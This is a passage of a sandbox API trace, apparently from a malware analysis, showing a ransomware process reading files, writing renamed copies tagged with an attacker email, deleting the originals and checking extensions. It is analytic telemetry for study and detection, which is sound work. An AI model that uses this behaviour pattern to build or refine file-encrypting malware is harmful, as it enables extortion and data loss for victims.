	[0177.451] ReadFile (in: hFile=0x2a8, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.451] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.452] SetEndOfFile (hFile=0x530) returned 1
	[0177.452] CloseHandle (hObject=0x530) returned 1
	[0177.452] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.452] SetEndOfFile (hFile=0x2a8) returned 1
	[0177.455] CloseHandle (hObject=0x2a8) returned 1
	[0177.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1
	[0177.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0177.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0177.457] lstrlenW (lpString=".doc") returned 4
	[0177.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.457] lstrlenW (lpString=".docx") returned 5
	[0177.457] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0177.457] lstrlenW (lpString=".pdf") returned 4
	[0177.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.457] lstrlenW (lpString=".xls") returned 4
	[0177.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.457] lstrlenW (lpString=".xlsx") returned 5
	[0177.457] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0177.457] lstrlenW (lpString=".ppt") returned 4
	[0177.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0177.457] lstrlenW (lpString=".zip") returned 4
	[0177.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.457] lstrlenW (lpString=".rar") returned 4
	[0177.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.457] lstrlenW (lpString=".bz2") returned 4
	[0177.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.457] lstrlenW (lpString=".7z") returned 3
	[0177.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0177.458] lstrlenW (lpString=".dbf") returned 4
	[0177.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0177.458] lstrlenW (lpString=".1cd") returned 4
	[0177.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0177.458] lstrlenW (lpString=".jpg") returned 4
	[0177.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.460] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=9768) returned 1
	[0177.460] CloseHandle (hObject=0x2a8) returned 1
	[0177.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 0x220
	[0177.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0177.461] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.461] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0177.463] GetLastError () returned 0x0
	[0177.463] ReadFile (in: hFile=0x2a8, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2628, lpOverlapped=0x0) returned 1
	[0177.628] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2630, lpOverlapped=0x0) returned 1
	[0177.629] ReadFile (in: hFile=0x2a8, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.629] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.630] SetEndOfFile (hFile=0x530) returned 1
	[0177.630] CloseHandle (hObject=0x530) returned 1
	[0177.630] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.630] SetEndOfFile (hFile=0x2a8) returned 1
	[0177.633] CloseHandle (hObject=0x2a8) returned 1
	[0177.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1
	[0177.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0177.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0177.768] lstrlenW (lpString=".doc") returned 4
	[0177.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.768] lstrlenW (lpString=".docx") returned 5
	[0177.768] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0177.768] lstrlenW (lpString=".pdf") returned 4
	[0177.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.768] lstrlenW (lpString=".xls") returned 4
	[0177.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.768] lstrlenW (lpString=".xlsx") returned 5
	[0177.768] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0177.769] lstrlenW (lpString=".ppt") returned 4
	[0177.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0177.769] lstrlenW (lpString=".zip") returned 4
	[0177.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.769] lstrlenW (lpString=".rar") returned 4
	[0177.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.769] lstrlenW (lpString=".bz2") returned 4
	[0177.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.769] lstrlenW (lpString=".7z") returned 3
	[0177.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0177.769] lstrlenW (lpString=".dbf") returned 4
	[0177.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0177.769] lstrlenW (lpString=".1cd") returned 4
	[0177.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0177.769] lstrlenW (lpString=".jpg") returned 4
	[0177.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0177.786] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=9604) returned 1
	[0177.872] CloseHandle (hObject=0x540) returned 1
	[0177.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220
	[0177.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0177.949] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.949] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0177.951] GetLastError () returned 0x0
	[0177.951] ReadFile (in: hFile=0x29c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2584, lpOverlapped=0x0) returned 1
	[0177.969] WriteFile (in: hFile=0x33c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2590, lpOverlapped=0x0) returned 1
	[0177.970] ReadFile (in: hFile=0x29c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.970] WriteFile (in: hFile=0x33c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.971] SetEndOfFile (hFile=0x33c) returned 1
	[0177.971] CloseHandle (hObject=0x33c) returned 1
	[0177.971] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.971] SetEndOfFile (hFile=0x29c) returned 1
	[0177.974] CloseHandle (hObject=0x29c) returned 1
	[0177.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1
	[0177.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0177.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0177.976] lstrlenW (lpString=".doc") returned 4
	[0177.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.976] lstrlenW (lpString=".docx") returned 5
	[0177.976] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0177.976] lstrlenW (lpString=".pdf") returned 4
	[0177.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.976] lstrlenW (lpString=".xls") returned 4
	[0177.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.976] lstrlenW (lpString=".xlsx") returned 5
	[0177.976] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0177.976] lstrlenW (lpString=".ppt") returned 4
	[0177.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0177.976] lstrlenW (lpString=".zip") returned 4
	[0177.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.976] lstrlenW (lpString=".rar") returned 4
	[0177.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.976] lstrlenW (lpString=".bz2") returned 4
	[0177.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.977] lstrlenW (lpString=".7z") returned 3
	[0177.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0177.977] lstrlenW (lpString=".dbf") returned 4
	[0177.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0177.977] lstrlenW (lpString=".1cd") returned 4
	[0177.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0177.977] lstrlenW (lpString=".jpg") returned 4
	[0177.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5967a0 | out: hHeap=0x4f0000) returned 1
	[0177.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x4f0000) returned 1
	[0177.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5ac8a8 | out: hHeap=0x4f0000) returned 1
	[0177.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5bc8b0 | out: hHeap=0x4f0000) returned 1
	[0177.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x375d020 | out: hHeap=0x4f0000) returned 1
	[0177.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596788 | out: hHeap=0x4f0000) returned 1
	[0177.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0177.994] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b04d0
	[0177.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592278
	[0177.994] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592278, Size=0x20) returned 0x45b0458
	[0177.994] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0177.994] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0177.994] Wow64DisableWow64FsRedirection (in: OldValue=0x2bfff50 | out: OldValue=0x2bfff50*=0x1) returned 1
	[0177.994] lstrlenW (lpString="kernel32.dll") returned 12
	[0177.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b0458 | out: hHeap=0x4f0000) returned 1
	[0177.994] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0177.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b04d0 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 43
	os_tid = 0xe20

	[0132.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5ccf88
	[0132.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3860048
	[0132.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5967b8
	[0132.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54d0d0
	[0132.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5967d0
	[0132.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3966020
	[0132.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596800
	[0132.667] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596800, Size=0x20) returned 0x52db80
	[0132.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596800
	[0132.667] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596800, Size=0x20) returned 0x52dd10
	[0132.668] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.668] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.668] Wow64DisableWow64FsRedirection (in: OldValue=0x2d3ff50 | out: OldValue=0x2d3ff50*=0x0) returned 1
	[0132.668] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db80 | out: hHeap=0x4f0000) returned 1
	[0132.668] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd10 | out: hHeap=0x4f0000) returned 1
	[0132.668] Sleep (dwMilliseconds=0x64) 
	[0133.183] Sleep (dwMilliseconds=0x64) 
	[0133.590] Sleep (dwMilliseconds=0x64) 
	[0133.805] Sleep (dwMilliseconds=0x64) 
	[0134.198] Sleep (dwMilliseconds=0x64) 
	[0134.491] lstrcmpiW (lpString1=".p7b", lpString2=".yG") returned -1
	[0134.491] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0134.491] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0134.516] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=4662) returned 1
	[0134.516] CloseHandle (hObject=0x358) returned 1
	[0134.516] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0134.516] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.516] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.517] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.517] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.517] lstrlenW (lpString=".doc") returned 4
	[0134.517] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0134.517] lstrlenW (lpString=".docx") returned 5
	[0134.517] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0134.517] lstrlenW (lpString=".pdf") returned 4
	[0134.517] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0134.517] lstrlenW (lpString=".xls") returned 4
	[0134.517] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0134.517] lstrlenW (lpString=".xlsx") returned 5
	[0134.517] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0134.517] lstrlenW (lpString=".ppt") returned 4
	[0134.517] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0134.517] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.517] lstrlenW (lpString=".zip") returned 4
	[0134.517] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0134.517] lstrlenW (lpString=".rar") returned 4
	[0134.517] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0134.518] lstrlenW (lpString=".bz2") returned 4
	[0134.518] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0134.518] lstrlenW (lpString=".7z") returned 3
	[0134.518] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0134.518] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.518] lstrlenW (lpString=".dbf") returned 4
	[0134.518] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0134.518] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.518] lstrlenW (lpString=".1cd") returned 4
	[0134.518] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0134.518] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.518] lstrlenW (lpString=".jpg") returned 4
	[0134.518] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0134.518] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.518] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.518] lstrlenW (lpString=".doc") returned 4
	[0134.518] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0134.518] lstrlenW (lpString=".docx") returned 5
	[0134.518] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0134.518] lstrlenW (lpString=".pdf") returned 4
	[0134.518] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0134.519] lstrlenW (lpString=".xls") returned 4
	[0134.519] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0134.519] lstrlenW (lpString=".xlsx") returned 5
	[0134.519] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0134.519] lstrlenW (lpString=".ppt") returned 4
	[0134.519] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0134.519] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.519] lstrlenW (lpString=".zip") returned 4
	[0134.519] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0134.519] lstrlenW (lpString=".rar") returned 4
	[0134.519] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0134.519] lstrlenW (lpString=".bz2") returned 4
	[0134.519] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0134.519] lstrlenW (lpString=".7z") returned 3
	[0134.519] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0134.519] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.519] lstrlenW (lpString=".dbf") returned 4
	[0134.519] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0134.519] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.519] lstrlenW (lpString=".1cd") returned 4
	[0134.519] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0134.519] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0134.519] lstrlenW (lpString=".jpg") returned 4
	[0134.519] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0134.520] Sleep (dwMilliseconds=0x64) 
	[0134.897] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0134.897] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0134.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.080] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=48936) returned 1
	[0135.080] CloseHandle (hObject=0x390) returned 1
	[0135.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0135.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
